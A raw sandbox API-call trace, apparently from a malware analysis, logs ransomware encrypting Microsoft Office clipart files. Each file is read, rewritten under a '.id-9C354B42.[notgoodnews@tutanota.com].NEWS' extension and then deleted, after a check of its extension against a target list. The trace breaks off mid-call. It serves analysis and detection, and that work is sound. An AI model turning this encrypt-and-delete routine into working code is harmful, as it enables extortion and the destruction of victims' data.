[0242.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0242.374] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.374] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.375] GetLastError () returned 0x0 [0242.375] ReadFile (in: hFile=0x304, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0242.436] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0242.445] ReadFile (in: hFile=0x304, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.446] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.446] SetEndOfFile (hFile=0x3cc) returned 1 [0242.446] CloseHandle (hObject=0x3cc) returned 1 [0242.446] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.447] SetEndOfFile (hFile=0x304) returned 1 [0242.454] CloseHandle (hObject=0x304) returned 1 [0242.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0242.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.456] lstrlenW (lpString=".doc") returned 4 [0242.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.457] lstrlenW (lpString=".docx") returned 5 [0242.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.457] lstrlenW (lpString=".pdf") returned 4 [0242.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.457] lstrlenW (lpString=".xls") returned 4 [0242.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.457] lstrlenW (lpString=".xlsx") returned 5 [0242.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.457] lstrlenW (lpString=".ppt") returned 4 [0242.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.457] lstrlenW (lpString=".zip") returned 4 [0242.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.457] lstrlenW (lpString=".rar") returned 4 [0242.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.458] lstrlenW (lpString=".bz2") returned 4 [0242.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.458] lstrlenW (lpString=".7z") returned 3 [0242.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.458] lstrlenW (lpString=".dbf") returned 4 [0242.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.458] lstrlenW (lpString=".1cd") returned 4 [0242.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.458] lstrlenW (lpString=".jpg") returned 4 [0242.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.459] lstrlenW (lpString=".doc") returned 4 [0242.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.459] lstrlenW (lpString=".docx") returned 5 [0242.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.459] lstrlenW (lpString=".pdf") returned 4 [0242.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.459] lstrlenW (lpString=".xls") returned 4 [0242.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.459] lstrlenW (lpString=".xlsx") returned 5 [0242.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.460] lstrlenW (lpString=".ppt") returned 4 [0242.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.460] lstrlenW (lpString=".zip") returned 4 [0242.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.460] lstrlenW (lpString=".rar") returned 4 [0242.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.460] lstrlenW (lpString=".bz2") returned 4 [0242.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.460] lstrlenW (lpString=".7z") returned 3 [0242.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.461] lstrlenW (lpString=".dbf") returned 4 [0242.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.461] lstrlenW (lpString=".1cd") returned 4 [0242.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0242.461] lstrlenW (lpString=".jpg") returned 4 [0242.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.462] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.462] lstrlenW (lpString="AN04269_.WMF") returned 12 [0242.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.582] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=2016) returned 1 [0242.582] CloseHandle (hObject=0x3cc) returned 1 [0242.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0242.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.584] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.584] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0242.585] GetLastError () returned 0x0 [0242.585] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0242.886] WriteFile (in: hFile=0x370, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0242.892] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.892] WriteFile (in: hFile=0x370, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.892] SetEndOfFile (hFile=0x370) returned 1 [0242.893] CloseHandle (hObject=0x370) returned 1 [0242.893] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.893] SetEndOfFile (hFile=0x3cc) returned 1 [0242.903] CloseHandle (hObject=0x3cc) returned 1 [0242.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0242.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.905] lstrlenW (lpString=".doc") returned 4 [0242.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.905] lstrlenW (lpString=".docx") returned 5 [0242.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.906] lstrlenW (lpString=".pdf") returned 4 [0242.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.906] lstrlenW (lpString=".xls") returned 4 [0242.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.906] lstrlenW (lpString=".xlsx") returned 5 [0242.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.906] lstrlenW (lpString=".ppt") returned 4 [0242.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.906] lstrlenW (lpString=".zip") returned 4 [0242.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.906] lstrlenW (lpString=".rar") returned 4 [0242.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.907] lstrlenW (lpString=".bz2") returned 4 [0242.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.907] lstrlenW (lpString=".7z") returned 3 [0242.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.907] lstrlenW (lpString=".dbf") returned 4 [0242.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.907] lstrlenW (lpString=".1cd") returned 4 [0242.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.908] lstrlenW (lpString=".jpg") returned 4 [0242.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.908] lstrlenW (lpString=".doc") returned 4 [0242.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.908] lstrlenW (lpString=".docx") returned 5 [0242.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.908] lstrlenW (lpString=".pdf") returned 4 [0242.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.909] lstrlenW (lpString=".xls") returned 4 [0242.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.909] lstrlenW (lpString=".xlsx") returned 5 [0242.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.909] lstrlenW (lpString=".ppt") returned 4 [0242.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.909] lstrlenW (lpString=".zip") returned 4 [0242.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.909] lstrlenW (lpString=".rar") returned 4 [0242.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.910] lstrlenW (lpString=".bz2") returned 4 [0242.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.910] lstrlenW (lpString=".7z") returned 3 [0242.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.910] lstrlenW (lpString=".dbf") returned 4 [0242.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.910] lstrlenW (lpString=".1cd") returned 4 [0242.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0242.910] lstrlenW (lpString=".jpg") returned 4 [0242.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.911] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.911] lstrlenW (lpString="AN04355_.WMF") returned 12 [0242.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.191] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3228) returned 1 [0243.191] CloseHandle (hObject=0x388) returned 1 [0243.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0243.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0243.209] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.209] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0243.210] GetLastError () returned 0x0 [0243.210] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0243.275] WriteFile (in: hFile=0x370, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0243.278] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.279] WriteFile (in: hFile=0x370, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.279] SetEndOfFile (hFile=0x370) returned 1 [0243.279] CloseHandle (hObject=0x370) returned 1 [0243.279] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.280] SetEndOfFile (hFile=0x3cc) returned 1 [0243.285] CloseHandle (hObject=0x3cc) returned 1 [0243.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0243.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.288] lstrlenW (lpString=".doc") returned 4 [0243.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.288] lstrlenW (lpString=".docx") returned 5 [0243.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.288] lstrlenW (lpString=".pdf") returned 4 [0243.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.288] lstrlenW (lpString=".xls") returned 4 [0243.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.288] lstrlenW (lpString=".xlsx") returned 5 [0243.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.288] lstrlenW (lpString=".ppt") returned 4 [0243.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.289] lstrlenW (lpString=".zip") returned 4 [0243.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.289] lstrlenW (lpString=".rar") returned 4 [0243.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString=".bz2") returned 4 [0243.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString=".7z") returned 3 [0243.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.289] lstrlenW (lpString=".dbf") returned 4 [0243.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.290] lstrlenW (lpString=".1cd") returned 4 [0243.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.290] lstrlenW (lpString=".jpg") returned 4 [0243.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.291] lstrlenW (lpString=".doc") returned 4 [0243.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".docx") returned 5 [0243.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.291] lstrlenW (lpString=".pdf") returned 4 [0243.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".xls") returned 4 [0243.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.292] lstrlenW (lpString=".xlsx") returned 5 [0243.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.292] lstrlenW (lpString=".ppt") returned 4 [0243.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.292] lstrlenW (lpString=".zip") returned 4 [0243.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.292] lstrlenW (lpString=".rar") returned 4 [0243.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".bz2") returned 4 [0243.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.293] lstrlenW (lpString=".7z") returned 3 [0243.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.293] lstrlenW (lpString=".dbf") returned 4 [0243.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.293] lstrlenW (lpString=".1cd") returned 4 [0243.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0243.293] lstrlenW (lpString=".jpg") returned 4 [0243.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.294] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.294] lstrlenW (lpString="BD00116_.WMF") returned 12 [0243.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.854] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4870) returned 1 [0243.854] CloseHandle (hObject=0x388) returned 1 [0243.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0244.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0244.474] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, 